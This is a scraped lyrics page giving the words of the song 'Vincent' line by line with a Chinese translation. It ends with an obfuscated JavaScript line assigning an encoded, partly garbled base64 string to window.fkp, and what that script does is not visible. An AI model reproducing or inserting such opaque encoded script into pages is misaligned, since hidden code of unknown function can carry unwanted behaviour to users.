我终于明白了</P>
what you tried to say to me</P>
你无声的语言</P>
how you suffered for your sanity</P>
清醒让你如此地不安</P>
how you tried to set them free</P>
你多想把它们全部释放</P>
they would not listen</P>
却无人倾听</P>
they did not know how</P>
无人同感</P>
perhaps they'll listen now</P>
也许人们现在已有所改变</P>
For they could not love you</P>
人们不可能爱上你</P>
but still your love was true</P>
但你的爱却仍然真挚不变</P>
And when no hope was left insight</P>
当内心的希望全部破灭</P>
on that starry' starry night</P>
在那繁星点点的夜晚</P>
You took your life as lovers often do</P>
你选择了永久的安眠如盲目从动的恋人一般</P>
but I could have told you' Vincent</P>
但我却没能告诉你,文森特</P>
this world was never meant for one as beautiful</P>
生如夏花</P>
as you</P>
如你</P>
Starry' starry night</P>
繁星点点的夜晚</P>
portraits hung in empty halls</P>
空旷的大厅中你的画像独自安然</P>
Frameless heads on nameless walls</P>
无框的自画像挂在无名的墙上</P>
with eyes that watch the world and can't forget</P>
双眼注视着这世界无限的依恋</P>
Like the stranger that you've met</P>
正如你曾遇到的那些陌生人</P>
the ragged men in ragged clothes</P>
破旧的灵魂,着破旧的衣衫</P>
the silver thorn of bloody rose</P>
如血红的玫瑰上的银刺</P>
Lie crushed and broken on the virgin snow</P>
夭折在初雪的大地上碾做尘埃</P>
Now I think I know</P>
我终于明白</P>
what you tried to say to me</P>
你无声的语言</P>
how you suffered for your sanity</P>
清醒让你如此地不安</P>
how you tried to set them free</P>
你多想把它们全部释放</P>
they were not listening</P>
却无人倾听</P>
they're not listening still</P>
他们依然没有在倾听</P>
perhaps they never will</P>
或许他们永远也不会理解</P>
window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";